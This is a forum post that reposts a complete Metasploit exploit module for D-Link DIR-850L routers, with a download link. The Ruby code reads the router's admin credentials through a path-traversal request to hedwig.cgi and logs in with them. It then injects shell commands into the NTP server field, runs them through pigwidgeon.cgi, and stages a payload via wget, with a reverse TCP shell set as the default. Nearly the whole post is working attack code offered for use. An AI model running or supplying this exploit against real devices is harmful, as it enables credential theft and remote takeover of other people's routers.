Jump to content
Fi8sVrs

D-Link DIR-850L Unauthenticated Command Execution

Recommended Posts

  • Active Members

This Metasploit module leverages an unauthenticated credential disclosure vulnerability to execute arbitrary commands on DIR-850L routers as an authenticated user.

 

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'openssl'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'DIR-850L (Un)authenticated OS Command Exec',
      'Description' => %q{
        This module leverages an unauthenticated credential disclosure
        vulnerability to then execute arbitrary commands on DIR-850L routers
        as an authenticated user. Unable to use Meterpreter payloads.
      },
      'Author' => [
        'Mumbai', # https://github.com/realoriginal (module)
        'Zdenda' # vuln discovery
      ],
      'References' => [
        ['URL', 'https://www.seebug.org/vuldb/ssvid-96333'],
        ['URL', 'https://blogs.securiteam.com/index.php/archives/3310'],
      ],
      'DisclosureDate' => 'Aug 9 2017',
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Arch' => ARCH_MIPSBE,
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/mipsbe/shell/reverse_tcp'
      },
      'Privileged' => true,
      'Payload' => {
        'DisableNops' => true,
      },
      'Targets' => [[ 'Automatic', {} ]],
    ))
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/',
        'method' => 'GET'
        })
      if res && res.headers['Server']
        auth = res.headers['Server']
        if auth =~ /DIR-850L/
          if auth =~ /WEBACCESS\/1\.0/
            return Exploit::CheckCode::Safe
          else
            return Exploit::CheckCode::Detected
          end
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end
    Exploit::CheckCode::Unknown
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end


  # some other DIR-8X series routers are vulnerable to this same retrieve creds vuln as well...
  # should write an auxiliary module to-do -> WRITE AUXILIARY
  def retrieve_creds
    begin
      xml = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
      xml << "<postxml>\r\n"
      xml << "<module>\r\n"
      xml << "  <service>../../../htdocs/webinc/getcfg/DEVICE.ACCOUNT.xml</service>\r\n"
      xml << "</module>\r\n"
      xml << "</postxml>"
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'encode_params' => false,
        'headers' => {
          'Accept-Encoding' => 'gzip, deflate',
          'Accept' => '*/*'
        },
        'ctype' => 'text/xml',
        'cookie' => "uid=#{Rex::Text.rand_text_alpha_lower(8)}",
        'data' => xml,
      })
      if res.body =~ /<password>(.*)<\/password>/ # fixes stack trace issue
        parse = res.get_xml_document
        username = parse.at('//name').text
        password = parse.at('//password').text
        vprint_good("#{peer} - Retrieved the username/password combo #{username}/#{password}")
        loot = store_loot("dlink.dir850l.login", "text/plain", rhost, res.body)
        print_good("#{peer} - Downloaded credentials to #{loot}")
        return username, password
      else
        fail_with(Failure::NotFound, "#{peer} - Credentials could not be obtained")
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def retrieve_uid
    begin
      res = send_request_cgi({
          'uri' => '/authentication.cgi',
          'method' => 'GET',
      })
      parse = res.get_json_document
      uid = parse['uid']
      challenge = parse['challenge']
      return uid, challenge
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def login(username, password)
    uid, challenge = retrieve_uid
    begin
      hash = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('md5'), password.to_s, (username.to_s + challenge.to_s)).upcase
      send_request_cgi({
        'uri' => '/authentication.cgi',
        'method' => 'POST',
        'data' => "id=#{username}&password=#{hash}",
        'cookie' => "uid=#{uid}"
      })
      return uid
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end

  def execute_command(cmd, opts)
    uid = login(@username, @password) # reason being for loop is cause UID expires for some reason after executing 1 command
    payload = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\r\n"
    payload << "<postxml>\r\n"
    payload << "<module>\r\n"
    payload << "  <service>DEVICE.TIME</service>\r\n"
    payload << "  <device>\r\n"
    payload << "    <time>\r\n"
    payload << "      <ntp>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "        <server>#{Rex::Text.rand_text_alpha_lower(8)}; (#{cmd}&); </server>\r\n"
    payload << "      </ntp>\r\n"
    payload << "      <ntp6>\r\n"
    payload << "        <enable>1</enable>\r\n"
    payload << "        <period>604800</period>\r\n"
    payload << "      </ntp6>\r\n"
    payload << "      <timezone>20</timezone>\r\n"
    payload << "      <time/>\r\n"
    payload << "      <date/>\r\n"
    payload << "      <dst>0</dst>\r\n"
    payload << "      <dstmanual/>\r\n"
    payload << "      <dstoffset/>\r\n"
    payload << "    </time>\r\n"
    payload << "  </device>\r\n"
    payload << "</module>\r\n"
    payload << "</postxml>"
    begin
      # save configuration
      res = send_request_cgi({
        'uri' => '/hedwig.cgi',
        'method' => 'POST',
        'ctype' => 'text/xml',
        'data' => payload,
        'cookie' => "uid=#{uid}"
      })
      # execute configuration
      res = send_request_cgi({
        'uri' => '/pigwidgeon.cgi',
        'method' => 'POST',
        'data' => 'ACTIONS=SETCFG,ACTIVATE',
        'cookie' => "uid=#{uid}"
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unknown, "#{peer} - Unable to connect to target.")
    end
  end


  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable url")
    end
    #
    # Information Retrieval, obtains creds and logs in
    #
    @username, @password = retrieve_creds
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200
    )
  end
end

Download dlink_dir850l_unauth_exec.rb.txt

 

Source

Edited by Fi8sVrs
  • Upvote 1
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...